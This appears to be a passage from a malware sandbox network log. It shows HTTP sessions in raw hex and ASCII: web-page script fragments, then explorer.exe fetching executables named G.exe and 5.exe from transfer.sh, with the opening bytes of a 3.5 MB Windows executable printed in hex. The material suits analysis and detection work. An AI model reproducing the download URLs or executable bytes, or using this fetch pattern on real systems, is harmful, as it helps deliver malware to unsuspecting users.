2022-01-14 03:59:42 UTC	530	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 61 73 79 6e 63 3a 20 74 72 75 65 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 20 3d 20 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 73 63 72 69 70 74 22 29 5b 30 5d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 20 3d 20 64 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 2e 74 79 70 65 20 3d 20 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 Data Ascii: async: true }); }); t = d.getElementsByTagName("script")[0]; s = d.createElement("script"); s.type = "text/javascript"; s
2022-01-14 03:59:42 UTC	532	IN	Data Raw: 79 54 61 67 4e 61 6d 65 28 22 73 63 72 69 70 74 22 29 5b 30 5d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 20 3d 20 64 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 2e 74 79 70 65 20 3d 20 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 2e 73 72 63 20 3d 20 22 2f 2f 61 6e 2e 79 61 6e 64 65 78 2e 72 75 2f 73 79 73 74 65 6d 2f 63 6f 6e 74 65 78 74 2e 6a 73 22 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 2e 61 73 79 6e 63 20 3d 20 74 72 75 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 2e 70 61 72 65 6e 74 4e 6f 64 65 2e Data Ascii: yTagName("script")[0]; s = d.createElement("script"); s.type = "text/javascript"; s.src = "//an.yandex.ru/system/context.js"; s.async = true; t.parentNode.
2022-01-14 03:59:42 UTC	533	IN	Data Raw: 67 72 69 74 79 3d 22 73 68 61 33 38 34 2d 71 38 69 2f 58 2b 39 36 35 44 7a 4f 30 72 54 37 61 62 4b 34 31 4a 53 74 51 49 41 71 56 67 52 56 7a 70 62 7a 6f 35 73 6d 58 4b 70 34 59 66 52 76 48 2b 38 61 62 74 54 45 31 50 69 36 6a 69 7a 6f 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6a 51 75 65 72 79 20 7c 7c 20 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 27 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 64 6f 63 73 2f 34 2e 33 2f 61 73 73 65 74 73 2f 6a 73 2f 76 65 6e 64 6f 72 2f 6a 71 75 65 72 79 2d 73 6c 69 6d 2e 6d 69 6e 2e 6a 73 22 3e 3c 5c 2f 73 63 72 69 70 74 3e 27 29 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 6a 73 2f Data Ascii: grity="sha384-q8i/X+965DzO0rT7abK41JStQIAqVgRVzpbzo5smXKp4YfRvH+8abtTE1Pi6jizo" crossorigin="anonymous"></script><script>window.jQuery \|\| document.write('<script src="/docs/4.3/assets/js/vendor/jquery-slim.min.js"><\/script>')</script><script src="/js/
2022-01-14 03:59:42 UTC	534	IN	Data Raw: 76 65 69 6e 74 65 72 6e 65 74 2e 72 75 2f 63 6c 69 63 6b 22 20 27 2b 0a 20 20 20 20 20 20 20 20 20 20 20 20 27 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 3c 69 6d 67 20 73 72 63 3d 22 2f 2f 63 6f 75 6e 74 65 72 2e 79 61 64 72 6f 2e 72 75 2f 68 69 74 3f 74 34 34 2e 31 31 3b 72 27 2b 0a 20 20 20 20 20 20 20 20 20 20 20 20 65 73 63 61 70 65 28 64 6f 63 75 6d 65 6e 74 2e 72 65 66 65 72 72 65 72 29 2b 28 28 74 79 70 65 6f 66 28 73 63 72 65 65 6e 29 3d 3d 27 75 6e 64 65 66 69 6e 65 64 27 29 3f 27 27 3a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 27 3b 73 27 2b 73 63 72 65 65 6e 2e 77 69 64 74 68 2b 27 2a 27 2b 73 63 72 65 65 6e 2e 68 65 69 67 68 74 2b 27 2a 27 2b 28 73 63 72 65 65 6e 2e 63 6f 6c 6f 72 44 65 70 74 68 3f 0a 20 20 20 20 20 20 20 20 20 Data Ascii: veinternet.ru/click" '+ 'target="_blank"><img src="//counter.yadro.ru/hit?t44.11;r'+ escape(document.referrer)+((typeof(screen)=='undefined')?'': ';s'+screen.width+''+screen.height+''+(screen.colorDepth?
2022-01-14 03:59:42 UTC	536	IN	Data Raw: 70 65 72 61 5d 22 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 22 2c 20 66 2c 20 66 61 6c 73 65 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 20 65 6c 73 65 20 7b 20 66 28 29 3b 20 7d 0a 20 20 20 20 20 20 20 20 7d 29 28 77 69 6e 64 6f 77 2c 20 64 6f 63 75 6d 65 6e 74 2c 20 22 5f 74 6f 70 31 30 30 71 22 29 3b 0a 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0a 3c 6e 6f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 3c 69 6d 67 20 73 72 63 3d 22 2f 2f 63 6f 75 6e 74 65 72 2e 72 61 6d 62 6c 65 72 2e 72 75 2f 74 6f 70 31 30 30 2e 63 6e 74 3f 70 69 64 3d 36 36 37 33 31 35 35 22 20 61 6c 74 3d 22 d0 a2 d0 be d0 bf 2d 31 30 30 22 20 2f 3e 0a 20 Data Ascii: pera]") { d.addEventListener("DOMContentLoaded", f, false); } else { f(); } })(window, document, "_top100q"); </script><noscript> <img src="//counter.rambler.ru/top100.cnt?pid=6673155" alt="-100" />
2022-01-14 03:59:42 UTC	536	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.3	49862	144.76.136.153	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
2022-01-14 03:59:42 UTC	536	OUT	GET /get/QbPlFD/G.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: transfer.sh
2022-01-14 03:59:42 UTC	536	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.2 Date: Fri, 14 Jan 2022 03:59:42 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 10 Connection: close Retry-After: Fri, 14 Jan 2022 04:59:44 GMT X-Content-Type-Options: nosniff X-Made-With: <3 by DutchCoders X-Ratelimit-Key: 127.0.0.1,84.17.52.18,84.17.52.18 X-Ratelimit-Limit: 10 X-Ratelimit-Rate: 600 X-Ratelimit-Remaining: 9 X-Ratelimit-Reset: 1642132784 X-Served-By: Proudly served by DutchCoders
2022-01-14 03:59:42 UTC	537	IN	Data Raw: 4e 6f 74 20 46 6f 75 6e 64 0a Data Ascii: Not Found

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.3	49876	144.76.136.153	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
2022-01-14 03:59:47 UTC	537	OUT	GET /get/uq3XSe/5.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: transfer.sh
2022-01-14 03:59:48 UTC	537	IN	HTTP/1.1 200 OK Server: nginx/1.14.2 Date: Fri, 14 Jan 2022 03:59:48 GMT Content-Type: application/x-ms-dos-executable Content-Length: 3576320 Connection: close Content-Disposition: attachment; filename="5.exe" Retry-After: Fri, 14 Jan 2022 04:59:50 GMT X-Made-With: <3 by DutchCoders X-Ratelimit-Key: 127.0.0.1,84.17.52.18,84.17.52.18 X-Ratelimit-Limit: 10 X-Ratelimit-Rate: 600 X-Ratelimit-Remaining: 9 X-Ratelimit-Reset: 1642132790 X-Remaining-Days: n/a X-Remaining-Downloads: n/a X-Served-By: Proudly served by DutchCoders
2022-01-14 03:59:48 UTC	537	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 09 00 fa 8b e0 61 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0e 1d 00 24 02 00 00 ba 02 00 00 00 00 00 00 10 00 00 00 10 00 00 00 40 02 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 53 00 00 04 00 00 bb 21 37 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELa$@@S!7
2022-01-14 03:59:48 UTC	553	IN	Data Raw: 5c 11 ac 72 40 cf b1 1f ec ab 46 b2 51 e6 ae 8d 43 98 27 86 e6 af 9b b0 a6 27 1c 35 90 95 c5 32 f0 09 fd ca c2 68 bd 21 95 5c bb 3d fa f2 09 8e 63 70 99 fd fe 66 6b a7 c9 47 2c 73 f5 bd 47 14 78 08 70 54 8b 71 85 77 ee 72 96 a5 98 b2 3c 1c c2 83 35 0e 58 5a e7 59 0c e3 12 71 12 6b 97 b5 a6 17 5f ce 4c 14 7c 15 4e c3 34 f9 f5 6a 65 c9 a4 1a 90 69 f5 3c d4 cd e9 3e 94 70 5d 06 98 ff d7 f9 b8 f7 8a f7 cf d4 41 15 1a 10 24 ec 44 4d 14 4e 9f ce 96 02 95 f1 e4 3b ad 3a d1 6c 04 de 64 a1 da 56 4a 42 4b 95 af 7d 1c dc df 5a 2f d5 ff 69 5d 8c 7d 3f 48 cd e2 f7 1e ed 02 6d a0 b6 a5 12 0f 84 e9 ff f9 5c 0a 8b b6 c6 e5 fb d8 af f0 52 85 2b b2 8a 2e 27 06 29 52 62 49 6a dc 1e ef 21 a0 c7 94 b5 c0 c3 ec a7 42 a1 2f 23 89 a4 53 63 b2 4d 6a 14 02 25 b3 c0 d0 ae cf e2 9a Data Ascii: \r@FQC''52h!\=cpfkG,sGxpTqwr<5XZYqk_L\|N4jei<>p]A$DMN;:ldVJBK}Z/i]}?Hm\R+.')RbIj!B/#ScMj%
2022-01-14 03:59:48 UTC	569	IN	Data Raw: b3 79 b2 0c 50 d9 b1 6b 57 1e 38 e9 eb ba 2b 4d 27 df ca c2 ff d7 32 5d 8f cf 08 89 4e c8 a8 51 77 65 9a ac 24 aa e1 94 95 12 24 a9 79 48 85 50 8a 1f 8d f8 20 00 8c 0d 89 f7 96 4c 9e 32 d7 1e 1e 70 3e a0 71 b3 e0 0c 13 5d 06 05 36 b0 39 02 24 10 36 b1 1a 95 6d 5d 97 ac e6 ac 52 53 3e de 18 c6 1a 32 cb df 70 22 1e 26 7a da 90 f0 41 93 e5 6b ef 87 e1 66 74 b2 2e f9 cb 9a 25 af 1f cf b4 a9 40 2c 06 09 d9 6d 7d 5c 2d 6d 23 de c5 ed 87 b2 51 90 fd 25 af 7e 99 db 55 32 f6 da 96 ac 7e 8e 6d 2f 7b e8 db 77 7a c1 fb 52 2c 0f a0 0e b7 3a d4 67 91 05 23 d4 11 0a 8a 81 f4 05 a0 a8 f1 cc 0f 33 0d 8c 36 14 69 6f 8a 70 0b 4c 8d f4 88 2d d0 7c 75 6a 86 f8 c0 55 b8 21 da c2 d8 d6 84 f0 48 e3 0b fa 85 32 89 a0 cd cd 87 8f 77 7a cd 16 29 82 18 70 65 35 dd 57 50 c1 7b d3 08 Data Ascii: yPkW8+M'2]NQwe$$yHP L2p>q]69$6m]RS>2p"&zAkft.%@,m}\-m#Q%~U2~m/{wzR,:g#36iopL-\|ujU!H2wz)pe5WP{
2022-01-14 03:59:48 UTC	585	IN	Data Raw: 88 28 67 60 8e d0 d7 0b fd d2 5e 6b a8 9d 4c 79 9d 37 5d 99 6f 5c a6 23 08 6e 53 c5 8e c6 95 a4 ef 00 57 85 22 40 d6 c7 e7 f3 61 70 0b 96 3c b6 43 18 9c 0c d1 a5 27 3e ee 33 6c bd 99 34 6d 4e ca ab 6e f7 30 4d 54 fc a2 67 71 a1 5e 85 67 ba 2a e1 17 91 50 be b9 7c 30 db f6 83 b3 86 9b 54 c9 d7 82 35 49 7b f6 47 e7 0e 0e 8a 96 c4 77 51 eb d9 58 44 4b 7f 45 86 30 42 94 50 4b 2c 0c 7c c9 6c 83 06 9b 4d eb 22 5f c3 a6 8a f1 60 9d 3d 28 a9 a7 cf c8 54 82 b1 45 77 3e 3d 10 bd c2 6f 29 66 f7 02 84 73 bd 94 b5 bb 3b 7c 23 b7 76 5a 84 6a 4b bc df ab e9 14 d8 66 63 a8 e8 d5 83 5a 3c 30 a2 20 d8 86 3f 0b 60 9a ed 85 04 18 25 1c 1e ab 13 a7 0f 85 83 f8 47 c3 76 77 64 0b b2 a2 61 53 f8 5c 73 5b 2a b2 97 25 77 08 24 0d 73 c5 0f d9 1a 89 5f 95 41 6d bc 46 2f 4b 35 18 11 Data Ascii: (g`^kLy7]o\#nSW"@ap<C'>3l4mNn0MTgq^gP\|0T5I{GwQXDKE0BPK,\|lM"_`=(TEw>=o)fs;\|#vZjKfcZ<0 ?`%GvwdaS\s[%w$s_AmF/K5
2022-01-14 03:59:48 UTC	601	IN	Data Raw: f0 a9 77 8b 4a 6c 7f 46 f6 88 8d 6b 49 bc f9 3e 03 7b 3e de 42 b8 bf 53 22 c5 51 cf 69 aa 06 18 32 71 e1 5d 41 20 a6 82 bd fa 3d 34 4a e5 85 c7 64 6f 24 3e ca d8 28 17 e4 16 8b a6 73 5b 4b a4 9b 56 4e de 3c 91 8f 3d c1 21 00 93 fc 50 ee b3 9a b5 84 df ce 44 fb 4c 08 3b 52 64 17 d9 ea d6 51 39 d1 6b 0f 03 4f c9 d3 a5 ef 32 c9 5f b5 a6 c6 58 54 ab a9 ad c4 1f 09 59 f1 7d 25 a0 39 17 5b 78 79 c3 7d 7e 4d 52 26 41 12 2e 73 a8 0f c7 9a 32 14 66 28 7f 8b 10 e4 28 49 ae 80 44 bd 02 ea 7d bd ed b1 0c 89 1b 22 c5 10 d0 3d f0 b2 a6 f8 45 a6 f0 b5 42 c8 0b 2e f5 92 3c 17 97 42 7d 57 b4 36 91 a8 1f c6 63 b5 3e 13 94 5a 77 a5 56 a5 18 71 93 fa 9a c2 6e 1a 26 1d 6c d3 d9 66 31 be 82 4b 72 40 c9 5b 08 53 54 49 ed 50 b3 ae 97 d0 6f a9 61 b4 1e fd 93 53 3a 8c e0 ce 43 1b Data Ascii: wJlFkI>{>BS"Qi2q]A =4Jdo$>(s[KVN<=!PDL;RdQ9kO2_XTY}%9[xy}~MR&A.s2f((ID}"=EB.<B}W6c>ZwVqn&lf1Kr@[STIPoaS:C
2022-01-14 03:59:48 UTC	617	IN	Data Raw: 1e 54 9d 7a 40 55 70 0d fe 41 fa 29 de 72 6c f5 79 cc ed 71 31 45 79 08 53 b2 f0 b6 c0 49 1a 02 93 bd 7d 02 45 08 6b 28 5d d1 98 a0 6a cf af c5 61 03 9d d4 d7 17 5a ed 65 ea af 6b dd 3e 6a 32 ee 64 f2 59 39 de d5 05 6a 55 f5 4c 82 e5 81 97 c9 31 9d 40 7d 3f aa 79 d2 0b f4 71 7f 07 79 7f ef 4a 6f 6c cf d4 90 27 b6 56 9f 61 2d 0e e4 21 f6 5b bf 80 b0 28 7b df c0 f1 63 f7 1e b6 3d c0 8b e2 9c c8 71 30 6e 6c b6 da 26 46 39 25 f1 79 87 4a fb 7b 99 56 95 44 b6 9f d5 c2 a3 69 ff ef 97 43 42 7b ef 00 3c 2e ca c6 33 2d c1 86 2f db 2d b2 b1 74 a4 d2 7f 01 7d 0e 57 c3 4f ce c6 13 41 c4 c5 72 5a 8b f4 3d a5 27 c5 23 a9 26 5b 7d d6 0a 5a c3 32 c5 3b 86 2d 8c fd 0d db 58 39 3f 45 12 3e d8 0d db 9a c6 ab a0 97 c1 8f 32 78 55 c3 b3 b0 e6 c5 f7 a1 04 6f 72 7a 45 3d 3c 46 Data Ascii: Tz@UpA)rlyq1EySI}Ek(]jaZek>j2dY9jUL1@}?yqyJol'Va-![({c=q0nl&F9%yJ{VDiCB{<.3-/-t}WOArZ='#&[}Z2;-X9?E>2xUorzE=<F
2022-01-14 03:59:48 UTC	633	IN	Data Raw: 71 5d 06 b9 94 07 ba a1 64 6b 8c 37 e2 77 87 b2 d0 30 06 68 9c 8d 5f b4 b0 d0 c4 23 36 01 5c b8 eb 75 33 06 d5 57 9b 8a 20 8c e8 f8 d9 2e 20 3c 08 b3 06 18 2c 21 77 1b fd 8f a7 5d ca 75 92 c9 57 2e a9 a2 b1 09 00 56 70 96 25 3c 66 8a ec 3a 57 51 1e f8 94 12 2c ce a0 40 73 01 1c 3b 21 27 8c c6 71 20 8e 07 2f d1 13 71 3f 06 66 79 da 5f 07 f2 7e 50 a7 42 32 c5 ec a7 04 e1 bd a4 77 26 ba 99 06 6a 3b 1c 59 ee 75 e9 ac 17 45 be c7 8e c0 4e 32 4d e2 8d a9 67 b2 f4 53 45 f9 ab 64 eb d1 01 d9 02 6c d8 db 50 1e 8c a6 9a fe 0e 17 8e 1b 7f ac ac f5 81 35 1a c8 5d a9 df a4 a8 bd e3 09 65 2b 4a 51 30 c7 4c a4 98 b9 69 26 23 cb 51 e0 9e d6 72 5f d8 3a 19 a6 55 e6 53 3c b4 e7 70 18 19 76 1f 04 4d ae 3f 40 db 93 70 4b 0a 74 5e 48 57 37 1d d6 dd 2d 1d 35 10 98 fa f5 59 4a Data Ascii: q]dk7w0h_#6\u3W . <,!w]uW.Vp%<f:WQ,@s;!'q /q?fy_~PB2w&j;YuEN2MgSEdlP5]e+JQ0Li&#Qr_:US<pvM?@pKt^HW7-5YJ
2022-01-14 03:59:48 UTC	649	IN	Data Raw: 99 df 9d a9 14 69 15 ec d4 d2 12 35 8c a3 22 d7 fc 4c 26 dd c9 12 ea 1b c0 c8 e2 d6 1a ef 6d c2 b1 ae 58 97 f3 4a da 62 39 a3 0a 02 0c f2 d2 e6 0c 35 6f 62 82 9c d1 ac 38 c4 de 2c 72 2a e1 4b 39 4b f4 e8 54 9d e6 47 b8 fe ad fe 89 eb c2 e0 b7 0f 6d d1 13 6e 1c b9 4c a3 d3 e6 ae 2f 0a c7 48 8c 08 a5 ed dd 4c 32 d4 65 8e 0e 45 74 c3 51 63 f1 3c ec 91 a7 c1 da 70 9c fa 28 38 f1 5b 56 bc 33 8f 06 dc ac 5f f9 85 94 14 91 50 ee 53 8b 32 86 c4 8a 62 11 bd 57 80 3b 6c 54 2f 51 cc bd 5f ac f9 da 1a ea 6d 8e 0c 10 ed 13 88 dd 63 d8 d5 cd 04 61 e3 a6 bf bf e9 6c ca 0e b2 d9 65 85 14 30 f3 f5 45 f6 70 02 dd 16 d7 40 87 49 9a 31 03 a8 d3 71 36 7f 35 b6 b7 05 9a 33 31 bf 05 a9 8a 9f 72 d6 8b 9c 1d ad 70 b5 10 06 f0 90 43 74 d6 3c ee 84 52 e4 b7 76 84 41 25 c0 0e 33 4e Data Ascii: i5"L&mXJb95ob8,r*K9KTGmnL/HL2eEtQc<p(8[V3_PS2bW;lT/Q_mcale0Ep@I1q6531rpCt<RvA%3N
2022-01-14 03:59:48 UTC	665	IN	Data Raw: 90 cd bd 74 a9 e8 c1 b3 9a 52 b0 55 2a 06 32 59 81 60 4e 8c 68 8e bd cd 1e a6 e6 0e bd 2c 9a a9 ad 41 b1 18 7d b6 d1 ca b7 af e0 e0 06 01 4c de e6 a3 6a a9 50 e9 7b cd ce d6 bd d4 23 6e 26 e2 c5 2d 34 4b 8c d4 f2 56 a3 db a3 1b b1 44 19 9e 0a ce 8f e6 2a c0 bb df a3 f4 f0 1e 74 23 3f e4 2a 84 a3 28 55 95 09 26 ad 4f ff 1b 9e 46 7b a7 8e cc 45 10 5b 0e 38 a0 27 bf 13 93 7a 89 9f 31 43 af 7f 24 e1 b6 6d 0f 03 df 0f 1b 30 fb 52 4b d3 f9 69 7a b4 6b fe 09 26 43 1a 98 72 53 3d 55 70 00 44 38 cf 26 51 63 94 97 93 e2 a7 c0 2a 18 f4 c7 9d ab 72 d2 44 15 2f f3 f7 58 30 6c 45 34 fd 85 c7 ad 00 44 2a 62 c5 4b 05 d1 74 17 c2 e4 d7 0a f0 e4 11 4f ff 64 cd d3 5f 9f 36 f4 26 e1 55 af 08 10 5f 25 3e ed 1c 7c ed 82 a5 3e bd 51 10 1a 72 bd 15 63 a8 0e eb 35 59 62 79 29 c7 Data Ascii: tRU2Y`Nh,A}LjP{#n&-4KVDt#?(U&OF{E[8'z1C$m0RKizk&CrS=UpD8&QcrD/X0lE4D*bKtOd_6&U_%>\|>Qrc5Yby)
2022-01-14 03:59:48 UTC	681	IN	Data Raw: d5 d8 47 45 ca 84 8c 87 55 6a f5 49 f2 99 f0 c8 e9 61 09 f9 f5 e6 fb e0 3b bb 66 1e 17 ae 13 a4 c8 e8 a9 54 c7 f7 6a 58 ca 32 17 bc e2 9f 48 ac 92 2b 33 b9 4f 0e c1 90 ab a1 c9 95 5f 51 41 b0 bf 8e 5e e2 59 5a 34 4e 64 24 2d af f5 9d 75 d2 14 b7 0d 9a a5 66 1b 12 8d 0c 0c 45 f4 ee a4 23 4c 92 79 f1 67 03 6f ca f3 37 95 e7 38 07 76 0f 55 5c 98 76 6e 04 b1 4e ae 75 6e 14 42 73 97 40 60 bf 6b 06 6d 9f d2 7a 28 3e b0 70 22 7e 11 f0 3a cd c1 52 19 28 79 25 13 16 0b 2f b1 72 0c d8 a3 ee af 2b ba cd aa dd 06 cf d8 4e 04 ca c7 20 aa 7f a2 4a 3e d5 91 c1 3c 54 ea e1 b5 2a 1f e4 77 7a ca a2 71 95 da 01 bc 89 76 5f 45 af a0 08 50 f1 0a 2d 50 e5 81 7f 39 c6 85 5a 2f e7 dc 65 41 40 2b d6 1a e5 8f 4b 9c 92 8c aa 4b 9f 06 e4 e6 af 22 3f a1 05 18 79 17 83 e3 cd f8 2b 34 Data Ascii: GEUjIa;fTjX2H+3O_QA^YZ4Nd$-ufE#Lygo78vU\vnNunBs@`kmz(>p"~:R(y%/r+N J><T*wzqv_EP-P9Z/eA@+KK"?y+4
2022-01-14 03:59:48 UTC	697	IN	Data Raw: 70 93 17 14 40 dc a1 fc bd f8 c6 8a e3 e4 ee 56 f9 e7 5c 61 8c 82 63 ee 2b 5e dc 14 94 f6 c7 f8 77 46 7c f6 c2 50 d0 e2 9e ef 16 40 62 76 4a 1e 21 a3 75 b0 e8 ae 07 7c bb bd 86 ca 9c 76 aa 56 7a 8b 72 ba 6b cb 3a 6f 59 f1 92 b5 84 8e be 35 02 08 08 bf 57 9f 2f a5 f4 34 17 5e b1 2b 65 28 b2 46 b9 79 8f 4e 19 ad b8 fd 32 28 53 c4 9a 3f 37 1d c0 1e d3 2c 48 12 3a 59 14 07 ab b4 03 0d 01 e0 71 30 dd 3d 43 45 f4 02 ad e3 26 11 2f c0 d2 89 20 76 77 e5 81 e1 f9 eb 65 8d 31 8f 2f 59 11 00 ce 37 04 2a a1 02 c8 2c 72 16 71 d7 a3 4c 9e 88 30 84 bc d2 aa b2 da dc 16 21 ef 2f 1b 7c 95 92 16 01 3d 9a b8 08 eb 01 77 1e c6 23 a3 38 97 8e 7c 1d 99 2e c6 f2 d2 53 f8 e7 0f 68 4f b6 a1 42 e0 df d6 4f 77 f9 ac a4 73 3f 3e bc 20 3e d5 c9 b5 ec a6 17 78 c8 d5 a2 57 d3 0c bc 61 Data Ascii: p@V\ac+^wF\|P@bvJ!u\|vVzrk:oY5W/4^+e(FyN2(S?7,H:Yq0=CE&/ vwe1/Y7*,rqL0!/\|=w#8\|.ShOBOws?> >xWa
2022-01-14 03:59:48 UTC	713	IN	Data Raw: f9 9a ab ea dd f1 d4 ea 61 59 13 ca ad 6b fa 99 29 9e 7b 0b 3f d8 47 57 52 63 17 23 41 3b 51 4d 4c c6 ab 9d 10 b6 48 c3 8c 30 10 b8 2a 7f 68 05 30 da 06 d5 28 37 69 42 1c 62 2b cf 23 67 a2 27 43 29 a7 98 c8 32 7a cb a2 27 8a 79 78 df 39 7b f4 18 8f 58 a2 85 d7 92 f3 c8 5b 5d a4 5a 6c 8e 19 37 0c 05 24 c0 29 8a 20 29 67 19 b6 f9 74 62 e1 d5 a0 a6 52 d2 be 54 31 ff 44 7d 27 0b 01 51 8b 40 99 0c 9a c8 69 f2 81 1f 6d 19 6a 39 20 51 94 c4 a1 28 a3 c6 ee e2 cf 0f 82 d1 bd c5 4b ae b3 25 77 3d 1d 38 3e f0 2e 29 0a df 79 f8 93 8f 74 13 c6 a6 54 33 89 5c 60 1a df 2a c2 23 0a 9b bc 79 bc 06 56 a1 d7 e1 58 ae 4e ff 03 89 84 00 9d 7d 54 e6 71 c4 ff 9d cd 6f 45 fd ba e7 ec 5a b3 17 40 66 b7 89 0e 9a f0 43 6d 88 99 b7 0a c1 35 cc 1e eb 57 1d d1 90 92 24 0b 0a fd ab 48 Data Ascii: aYk){?GWRc#A;QMLH0h0(7iBb+#g'C)2z'yx9{X[]Zl7$) )gtbRT1D}'Q@imj9 Q(K%w=8>.)ytT3\`#yVXN}TqoEZ@fCm5W$H
2022-01-14 03:59:48 UTC	729	IN	Data Raw: 61 a8 03 e6 a5 a4 16 44 0c 0e 35 24 29 31 c6 68 ca ec 14 2b 3e ca 9f 67 df 2b 13 b1 62 e8 0a 77 ec 4c 3f 54 6b 55 f4 45 be 0f 31 63 c4 d9 b8 3d d1 07 92 61 73 16 c9 38 08 ea 54 14 1d c3 3c 00 be 66 ee 47 11 fb 6b e9 27 6c 73 80 0f 31 97 80 13 17 ce cf 8a f8 f0 ce 2c 13 44 d4 31 1c 9f 52 ce c6 44 ff 78 48 cc ac 2d a7 b7 d3 d9 47 6d 9c 06 26 2a fd f0 7a f8 80 91 47 fb dc 69 05 ef 56 c8 64 c8 7e 9d 3a 4f de e6 1b ef 9a a6 17 e1 6f 7c 49 7a 2f 96 5b 84 68 12 a6 0f ee e2 c8 a8 b6 c3 48 12 28 4a e7 0f 6c 2c e7 79 2b 7d ff 7c 7a 67 dc ff 2e b9 aa 63 43 f9 38 5d 0e 1b 6d 03 12 5b ca 72 c8 70 fb ee aa 1c b0 fe 51 26 e6 70 ba ad 1a c7 ed bc d2 65 c9 da 19 a3 ab 1a e3 a4 bc a0 8c a8 cd f6 b6 d4 78 62 1e 51 14 5c 44 a2 bc 3d 19 d3 3f 16 ce ec 20 90 01 10 03 7d 70 57 Data Ascii: aD5$)1h+>g+bwL?TkUE1c=as8T<fGk'ls1,D1RDxH-Gm&*zGiVd~:Oo\|Iz/[hH(Jl,y+}\|zg.cC8]m[rpQ&pexbQ\D=? }pW
2022-01-14 03:59:48 UTC	745	IN	Data Raw: 80 c5 fe 08 93 04 d3 24 00 d4 3d 70 67 29 70 29 ea aa 64 fc b0 81 47 e1 4b 8c fb 26 ef f2 b3 17 58 ae b2 ac 23 ec f3 be 38 48 0f ed b8 a8 6f 2d af 5a ac 1e 28 fa 84 7d 87 4c 22 e6 db 2f ea 4d a8 46 b4 38 61 0d 90 b7 4d 36 85 1d eb ef ce a4 c4 03 90 64 44 c0 fd 1c b1 8b d3 94 f5 f8 c3 d4 94 51 72 ed 9a e8 a2 b1 96 3d e4 fd 34 c2 d3 bf 29 24 b5 b6 1a aa 89 8e 49 61 c6 c4 e0 fc ec 6b 6b 14 41 21 dd 7f 18 d5 b4 2e bf cf 4a 2d 6d ec 8a ed 07 b0 2e b0 fa 52 84 13 72 66 f1 6f c0 d8 a8 e6 61 fe 8c 6a 00 be f1 a3 a3 4e e7 90 f0 f9 0d 7e aa eb 2c 31 03 95 93 ac 6f 6d ba d3 78 5d f1 5d 1b f2 4a 55 87 4e be 53 71 e2 2e e1 b8 3e 36 0f 8e bc ee 3b cb 1a 3c e3 e6 e6 cd 97 32 3d 99 2a 24 ae 50 e5 1c a4 66 c9 a3 30 bb 07 99 a7 fc 13 cd db 6a e8 ea cc 65 08 a5 